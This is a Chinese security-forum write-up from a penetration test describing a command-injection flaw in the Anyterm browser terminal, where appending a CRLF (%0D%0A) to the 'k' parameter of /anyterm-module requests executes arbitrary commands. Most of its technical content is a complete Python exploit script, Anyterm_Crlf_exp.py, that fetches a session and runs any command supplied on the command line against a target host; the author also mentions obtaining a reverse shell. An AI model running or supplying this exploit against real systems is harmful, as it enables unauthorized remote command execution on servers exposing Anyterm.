前言

一次渗透测试当中,笔者扫描了目标站点的C段,主机所在的C段IP开放80端口的主机比较少,所以我很快发现了这个“特殊”的主机,之所以称它“特殊”是因为我之前从来没有遇到过这种服务。
查阅资料后发现“Anyterm” 是一个在线模拟终端,常用于浏览器与服务器SSH,Telnet之间的连接,功能和XShell、Putty类似。

漏洞发现过程 & 分析过程

  1. 打开这个网页的时候,默认主页就是该软件的控制台。该终端很奇怪,延迟了几秒命令行才加载出来,抓包查看。
    加载一个JS一个module:
  2. 该模块是如何进行请求的?我直接敲个命令试一下。结果命令被限制了这里不知道是管理设置的还是软件特性,查看能执行的命令:
  3. 再看模块传输数据过程,数据传输带入session。在上图输入"whaomi"的过程当中 每个从客户端输入过去的字符都会发送一次包并且命令最后不会进行拼接组合,所以抛出“Incomplete command: XXX”,例如我输入ping(ping刚查看了是可执行的)也不行。再看数据包发现有一个参数值"%0D"是执行命令时我敲的回车,稍有惊喜想到了CRLF。那刚才的猜想就是错的并不是软件特性,是由于XmlHttpRequest通道与后端进行局部更新。

  1. 直接在burp里面执行命令 ifconfig成功执行并回显:
    接收命令

传输响应

这里有个tips,在执行命令的这个包发送之后需要sleep几秒,最后再发送另一个包,这个包就是最后也带session的包,本人才疏学浅也不知道用什么术语来表达。由此想到开篇提到的“延迟了几秒”,所以这其实就是该CRLF(Carriage-Return Line-Feed)的利用点!

在没加载控制台之前,执行命令,看客户端执行情况 成功执行:

  1. 梳理了大致响应流程:
    加载anyterm控制台模块 > 获取session > 带入session获取客户端命令 > 响应请求
    如此,在第一次加载模块时服务器会返回session,再带入到以后命令执行过程当中,数据传输,后台接收到"%0D",把客户端命令发送,最后响应

EXP

从上面的口水分析段落可以知道,如果想执行任意命令肯定不会再控制台那里输入,刚才也分析过了,由于在加载模块时刚好有一个缺陷,至于这个缺陷怎么称呼 抱歉,本人非专业web安全研究员。
由于本人才疏学浅,Python脚本虽然写的有点烂,各位看官将就下吧,如果能帮忙修改最好不过,脚本没取正则,所以回显有点乱。

Anyterm_Crlf_exp.py:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import time
import optparse

#proxies = {"http":"http://127.0.0.1:8080/"}
headers = {
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
    "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Content-Type": "application/x-www-form-urlencoded",
}
def getSession(host):
    Session = []
    params = {"a":"open","rows":"23","cols":"80","sb":"200"}
    try:
        url = host + "/anyterm-module"
        res = requests.post(url, data=params, headers=headers, timeout=5)
        Session = res.text
        print "\n[+] the Session is: " + Session
        return Session
    except:
        pass
def execute(command,host):
    Session = getSession(host)
    r = "%0D%0A"
    data1 = 'a=send&s='+ str(Session) +'&k='+ str(command) +''+ r +''
    url = host + "/anyterm-module"
    try:
        res1 = requests.post(url, data=data1, headers=headers, timeout=10)
        time.sleep(1.0)
        print "\n[+] exec successful!"
        try:
            data2 = {"a":"rcv"}
            data2["s"] = Session
            res2 = requests.post(url, data=data2, headers=headers, timeout=10)
            time.sleep(3.0)
            print "\n[+]"
            time.sleep(3.0)
        except:
            pass
        finally:
            res2_again = requests.post(url, data=data2, headers=headers, timeout=10)
            print "\n[+] Post one more time\n" + res2_again.content
    except:
        pass

def main():
    parse = optparse.OptionParser("\nusage %prog -t http://127.0.0.1/ -c whoami")
    parse.add_option('-t',dest='host',type='string',help='enter target host')
    parse.add_option('-c',dest='command',type='string',help='enter you want to execute command!')
    (options,args) = parse.parse_args()
    if (options.host==None):
        print parse.usage
    else:
        host = options.host
        command = options.command
        execute(command,host)
if __name__ =='__main__':
    main()

附下exp执行图:

后记

也许有很多读者对我的文章表示条理不清晰,文章排版low请各位包含,毕竟第一次投稿,文章有什么知识点错误还请指出,学习。在结束这个软件漏洞之前我查了一下资料,虽然也有一个CRLF injection还是CVE,但是触发点并不一样,但是后来我去demo试了下我这个思路并没有复现,可能针对老版本吧。
文章开头提到的是在一次渗透测试过程当中,然而反弹shell之后发现与目标站点毫无关联,略蛋疼。
该软件使用的并不多,本文只做技术交流。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖